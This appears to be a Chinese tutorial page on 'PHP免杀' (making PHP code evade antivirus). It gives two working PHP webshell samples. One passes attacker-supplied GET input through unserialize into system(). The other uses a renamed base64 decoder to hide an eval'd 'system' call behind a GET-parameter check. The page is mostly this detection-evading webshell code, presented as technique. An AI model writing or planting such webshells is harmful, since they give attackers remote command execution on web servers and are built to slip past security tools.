PHP免杀

DeeLMind小于 1 分钟

PHP免杀

  • 熟悉PHP语言
  • 多层函数嵌套
<?php 

class C {
	var $cmd = "notepad";
}

function getC() {
    return new C;
}

function test($cmd)
{
	$a = $_GET["a"];
	$l = $_GET["l"];
	system(substr(serialize(unserialize($a)),26,$l));
}

test("aa");
?>
  • 条件模糊
<?php
function basXe64_DecXode($input) {
	$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
	$chr1 = $chr2 = $chr3 = "";
	$enc1 = $enc2 = $enc3 = $enc4 = "";
	$i = 0;
	$output = "";

	$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
	do {
		$enc1 = strpos($keyStr, substr($input, $i++, 1));
		$enc2 = strpos($keyStr, substr($input, $i++, 1));
		$enc3 = strpos($keyStr, substr($input, $i++, 1));
		$enc4 = strpos($keyStr, substr($input, $i++, 1));
		$chr1 = ($enc1 << 2) | ($enc2 >> 4);
		$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
		$chr3 = (($enc3 & 3) << 6) | $enc4;
		$output = $output . chr((int) $chr1);
		if ($enc3 != 64) {
			$output = $output . chr((int) $chr2);
		}
		if ($enc4 != 64) {
			$output = $output . chr((int) $chr3);
		}
		$chr1 = $chr2 = $chr3 = "";
		$enc1 = $enc2 = $enc3 = $enc4 = "";
	} while ($i < strlen($input));
	return urldecode($output);
}

// system("calc");
$b = basXe64_DecXode("c3lzdGVtKCdjYWxjJyk7"); 

if ($_GET["a"] > $_GET["b"]){
	eval($b);
}
?>
  • 函数调用
上次编辑于:
贡献者: DeeLMind